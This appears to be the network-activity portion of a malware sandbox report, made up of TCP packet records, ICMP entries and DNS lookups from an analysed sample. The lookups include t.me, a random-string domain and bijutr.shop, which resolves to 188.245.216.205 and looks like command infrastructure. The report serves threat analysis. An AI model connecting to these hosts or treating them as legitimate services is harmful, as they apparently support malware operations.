Dec 24, 2024 19:28:44.993942022 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993954897 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993969917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993983030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.993993998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994007111 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994204998 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994225025 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.994296074 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994311094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994323015 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994334936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994347095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.994364977 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996160984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996175051 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996186018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996330976 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996350050 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996362925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996375084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996526003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996539116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.996593952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.997068882 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:44.999228001 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.999353886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:44.999588013 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:45.111016989 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:45.211855888 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.213314056 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.214279890 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:45.214479923 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:45.334326029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.425786972 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.441932917 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442080975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442094088 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442107916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442118883 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442132950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.442137003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.444987059 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:45.462836027 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:45.777437925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785826921 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785861015 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785913944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785924911 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785936117 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.785945892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:45.786262989 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:45.808017015 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.141968966 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.176238060 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.216793060 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.216865063 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.216913939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.216988087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.217120886 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.229279041 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.544234037 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.551507950 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.551692009 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.551826954 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.551856041 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.551912069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.551924944 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.552071095 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.552083015 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.552094936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.552105904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.566334009 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.884274960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.888864040 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889163971 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.889205933 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889298916 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889355898 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889368057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889908075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889982939 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.889993906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890005112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890300035 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890310049 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890321016 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890331984 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890343904 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890355110 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890367031 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.890394926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:46.891016006 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:46.907093048 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.231134892 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239042997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239176989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239341974 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239356041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239403963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239417076 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239427090 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.239485025 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239501953 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239516020 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239527941 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239645004 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239655972 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.239847898 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.269275904 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.300995111 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.577506065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628521919 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628542900 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628614902 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628694057 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628705978 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628717899 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628849030 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628859997 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628870010 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628889084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628901958 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628914118 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.628926039 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629091978 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.629163980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629215956 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629229069 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629240990 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629252911 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629388094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.629395962 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.629400969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632529974 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632540941 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632553101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632707119 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632719040 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:47.632857084 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.658353090 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.722800016 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:47.982337952 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.041284084 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058633089 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058682919 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058773041 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058784008 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058794975 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058876991 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.058928013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.058942080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059242010 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059252977 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059266090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059386969 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059397936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059407949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059417963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059428930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.059779882 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.085542917 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.086199045 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.403134108 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.442152023 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.452303886 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452346087 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452405930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452423096 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452429056 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452553034 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452562094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:48.452811956 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.488949060 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:48.794003963 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:50.455151081 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:50.456023932 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:50.456818104 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:50.457129955 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:50.770536900 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:50.771841049 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:50.771856070 CET	443	62882	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:50.771866083 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:50.772149086 CET	62882	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:50.772782087 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:50.773215055 CET	443	52802	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:50.773753881 CET	52802	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:56.885920048 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.213182926 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.235335112 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.235351086 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.235394955 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.291671991 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.549599886 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.567508936 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.630157948 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.726463079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.729104996 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.882142067 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.882661104 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.890139103 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.890165091 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.890290022 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:57.890785933 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.890852928 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:57.911376953 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.225668907 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.233659983 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.233721018 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.233730078 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.234308004 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.245944977 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.637237072 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.646023989 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.646042109 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.646157980 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.646469116 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.657291889 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.971491098 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.977577925 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.977611065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.977735043 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:58.977880955 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:58.984827995 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.299575090 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.305198908 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.305350065 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.305387974 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.305496931 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.312041044 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.628215075 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.634573936 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.634588003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.634783983 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.634831905 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.641680956 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.968822002 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.972531080 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.972541094 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.972549915 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:59.972779989 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:59.978775024 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:00.294106960 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.301268101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.301304102 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.301314116 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.302757978 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:00.309658051 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:00.625351906 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.631308079 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.631382942 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.631505013 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:00.631678104 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:00.636800051 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.052061081 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.058788061 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.058926105 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.059026003 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.059453011 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.065012932 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.388536930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.389626026 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.389698029 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.389730930 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.389955997 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.395709991 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.737392902 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.743356943 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.743407011 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.743536949 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:01.743662119 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:01.749787092 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:02.066893101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.069782019 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.069839954 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.069895983 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.070038080 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:02.075146914 CET	54108	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:29:02.404522896 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.404534101 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.404544115 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.404552937 CET	443	54108	23.209.72.39	192.168.2.6
Dec 24, 2024 19:29:02.891964912 CET	443	54108	23.209.72.39	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 24, 2024 19:28:21.923336983 CET	192.168.2.6	1.1.1.1	c255	(Port unreachable)	Destination Unreachable
Dec 24, 2024 19:28:24.814146996 CET	192.168.2.6	1.1.1.1	c24c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 19:26:59.652141094 CET	192.168.2.6	1.1.1.1	0xf389	Standard query (0)	NsxXzupCMoDsL.NsxXzupCMoDsL	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:37.444346905 CET	192.168.2.6	1.1.1.1	0xb160	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:39.543375015 CET	192.168.2.6	1.1.1.1	0x6082	Standard query (0)	bijutr.shop	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:56.422966003 CET	192.168.2.6	1.1.1.1	0x2efa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:56.423118114 CET	192.168.2.6	1.1.1.1	0x1589	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:21.552251101 CET	192.168.2.6	1.1.1.1	0x6343	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:21.552359104 CET	192.168.2.6	1.1.1.1	0x2cf5	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:23.948728085 CET	192.168.2.6	1.1.1.1	0x837e	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:23.949038029 CET	192.168.2.6	1.1.1.1	0x145	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 24, 2024 19:28:24.487586021 CET	192.168.2.6	1.1.1.1	0x49c0	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:24.487981081 CET	192.168.2.6	1.1.1.1	0x597f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.018891096 CET	192.168.2.6	1.1.1.1	0xc358	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.019294024 CET	192.168.2.6	1.1.1.1	0x525c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.022005081 CET	192.168.2.6	1.1.1.1	0x9251	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.022485018 CET	192.168.2.6	1.1.1.1	0x2fdc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.033370972 CET	192.168.2.6	1.1.1.1	0x7ac2	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.033798933 CET	192.168.2.6	1.1.1.1	0x6592	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.623245955 CET	192.168.2.6	1.1.1.1	0x8fa7	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.623352051 CET	192.168.2.6	1.1.1.1	0xb178	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.634798050 CET	192.168.2.6	1.1.1.1	0xa257	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.634932041 CET	192.168.2.6	1.1.1.1	0x507f	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.763448954 CET	192.168.2.6	1.1.1.1	0x10ac	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.763608932 CET	192.168.2.6	1.1.1.1	0x8564	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 24, 2024 19:28:26.908133984 CET	192.168.2.6	1.1.1.1	0xffb0	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:28:26.908287048 CET	192.168.2.6	1.1.1.1	0xc5c2	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 19:26:59.897907972 CET	1.1.1.1	192.168.2.6	0xf389	Name error (3)	NsxXzupCMoDsL.NsxXzupCMoDsL	none	none	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:37.583091974 CET	1.1.1.1	192.168.2.6	0xb160	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 24, 2024 19:27:39.874469995 CET	1.1.1.1	192.168.2.6	0x6082	No error (0)	bijutr.shop		188.245.216.205	A (IP address)	IN (0x0001)	false
